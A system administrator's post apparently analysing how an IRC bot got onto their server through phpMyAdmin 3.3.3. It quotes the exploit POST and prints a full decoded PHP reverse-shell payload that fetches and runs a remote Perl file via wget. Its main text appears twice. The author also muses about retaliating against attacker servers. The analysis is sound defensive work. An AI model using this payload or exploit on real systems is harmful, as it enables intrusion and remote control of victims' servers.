interesting attack on my server
warning: long post.
Did my own digging, was an IRC bot, and thankfully Snort does block some of its traffic under the ET ruleset.
My host software config is:
The infection vector was phpMyAdmin-3.3.3-english. If I logged into that, my php-fpm instances slowed down to a crawl, and were restarted. The PHP slow trace was aborted, looks like this:
script_filename = /usr/share/nginx/html/server/phpMyAdmin/index.php [0x093e2cbc] stream_select() /usr/share/nginx/html/phpMyAdmin-3.3.3-english/libraries/Config.class.php(384) : eval()'d code(1) : eval()'d code:76 [0x093e2c34] +++ dump failed
Not good. Seems similar to this: http://www.metasploit.com/modules/exploit/unix/webapp/phpmyadmin_config
However, there is no injected code in config.inc.php, and permissions on that file would not allow the nginx user to write to it anyway. Hmmm...
At the time php-fpm got restarted, the asterisks process was kicked off. good thing my passwords to phpMyAdmin are not used elsewhere on the system - I have always wondered if I am paranoid, now I know they are out to get me.
The bot itself is a perl process. /proc shows it only has some sockets open, /proc/
/smaps shows the following perl libraries in use:
/usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/Socket/Socket.so /usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/IO/IO.so /usr/lib/perl5/5.8.8/i386-linux-thread-multi/CORE/libperl.so
The following IPs in use:
tcp 0 0 10.67.1.42:50749 67.220.72.130:6667 ESTABLISHED 21165/asterisks
tcp 0 0 10.67.1.42:49392 212.102.24.28:23 CLOSE_WAIT 21165/asterisks
I didn't find any crontab entries on the system that I didn't put there, thankfully.
I *thought* I had phpMyAdmin only responding to local IP addresses, but I look through the logs, and I find a POST from an external IP (222.34.6.223) to phpMyAdmin/index.php at the time the php-fpm processes restarted. This post is a problem:
%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess%5F8bu6bbghagokg1q0obabh626h4js129t%22%3B%7D%7D
decodes to:
|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:58:"/var/lib/php/session/sess_8bu6bbghagokg1q0obabh626h4js129t";}}
The payload in the POST request (which I spare you the entities) decodes to:
That is bad, very bad. The base64 encoded string decodes to the following:
$chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; cd /tmp; wget http://deathmatch.de/d1e.txt; perl d1e.txt; rm -rf d1e.txt; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } }
Hard to say for sure, but the dle.txt file that was downloaded and run probably looked something like this : http://paste.org/flat/21907
Luckily, permissions appear to have kept them in a limited area, but my box was acting as a bot until I got Snort up and running. I restarted php-fpm, killed the bot process, and moved myPhPAdmin out of my webserver until I can update the package.
I did figure out how my firewall and my nginx config conspired to allow an external IP access to a URL that was supposed to be hidden. Too many conf.d files is not a good thing, and too big an nginx.conf is also bad. port 80 was open to anyone who really wanted to find it, just took jiggering certs to find out the hidden names of my backend servers.
The script kiddie was amateur or arrogant, left the bash history file. Saved that to walk through later, 2 downloads were listed in it, need to ping their server admins. Might decide to clobber a couple of servers, while I am at it. F'in script kiddies.
The process:
The lesson? Keep your software up to date, check your logs, and keep a good sysadmin close by.
Tools I used:
Did my own digging, was an IRC bot, and thankfully Snort does block some of its traffic under the ET ruleset.
My host software config is:
- centos 5.2
- webserver nginx 1.08 (stock el5 build)
- php 5.3.2 (compiled myself)
The infection vector was phpMyAdmin-3.3.3-english. If I logged into that, my php-fpm instances slowed down to a crawl, and were restarted. The PHP slow trace was aborted, looks like this:
script_filename = /usr/share/nginx/html/server/phpMyAdmin/index.php [0x093e2cbc] stream_select() /usr/share/nginx/html/phpMyAdmin-3.3.3-english/libraries/Config.class.php(384) : eval()'d code(1) : eval()'d code:76 [0x093e2c34] +++ dump failed
Not good. Seems similar to this: http://www.metasploit.com/modules/exploit/unix/webapp/phpmyadmin_config
However, there is no injected code in config.inc.php, and permissions on that file would not allow the nginx user to write to it anyway. Hmmm...
At the time php-fpm got restarted, the asterisks process was kicked off. good thing my passwords to phpMyAdmin are not used elsewhere on the system - I have always wondered if I am paranoid, now I know they are out to get me.
The bot itself is a perl process. /proc shows it only has some sockets open, /proc/
/smaps shows the following perl libraries in use:
/usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/Socket/Socket.so /usr/lib/perl5/5.8.8/i386-linux-thread-multi/auto/IO/IO.so /usr/lib/perl5/5.8.8/i386-linux-thread-multi/CORE/libperl.so
The following IPs in use:
tcp 0 0 10.67.1.42:50749 67.220.72.130:6667 ESTABLISHED 21165/asterisks
tcp 0 0 10.67.1.42:49392 212.102.24.28:23 CLOSE_WAIT 21165/asterisks
I didn't find any crontab entries on the system that I didn't put there, thankfully.
I *thought* I had phpMyAdmin only responding to local IP addresses, but I look through the logs, and I find a POST from an external IP (222.34.6.223) to phpMyAdmin/index.php at the time the php-fpm processes restarted. This post is a problem:
%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess%5F8bu6bbghagokg1q0obabh626h4js129t%22%3B%7D%7D
decodes to:
|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:58:"/var/lib/php/session/sess_8bu6bbghagokg1q0obabh626h4js129t";}}
The payload in the POST request (which I spare you the entities) decodes to:
That is bad, very bad. The base64 encoded string decodes to the following:
$chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; cd /tmp; wget http://deathmatch.de/d1e.txt; perl d1e.txt; rm -rf d1e.txt; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } }
Hard to say for sure, but the dle.txt file that was downloaded and run probably looked something like this : http://paste.org/flat/21907
Luckily, permissions appear to have kept them in a limited area, but my box was acting as a bot until I got Snort up and running. I restarted php-fpm, killed the bot process, and moved myPhPAdmin out of my webserver until I can update the package.
I did figure out how my firewall and my nginx config conspired to allow an external IP access to a URL that was supposed to be hidden. Too many conf.d files is not a good thing, and too big an nginx.conf is also bad. port 80 was open to anyone who really wanted to find it, just took jiggering certs to find out the hidden names of my backend servers.
The script kiddie was amateur or arrogant, left the bash history file. Saved that to walk through later, 2 downloads were listed in it, need to ping their server admins. Might decide to clobber a couple of servers, while I am at it. F'in script kiddies.
The process:
- Configure your firewall to cordon off the suspect machine
- Figure out how it got to the current state (logs, dmesg, strace, /proc/
) - Run a rootkit checker or two (I like rkhunter)
- Once you have ascertained it is safe to do so, kill the offending process(s).
- If you cannot repair and/or determine that your machine is 100% safe, nuke the machine - it is the only way to be sure.
- Shutdown affected services
- Change keys for servers like OpenVPN, personal SSH keys, etc. If you think I am paranoid, see item 5.
- UPGRADE STALE PACKAGES!!!
- Check all configurations, even ones that weren't affected.
- Change your passwords.
The lesson? Keep your software up to date, check your logs, and keep a good sysadmin close by.
Tools I used:
- man pages for /proc
- strace
- google, of course
- rootkit hunter - http://rkhunter.sourceforge.net/
- decoding tools - http://www.silisoftware.com/tools/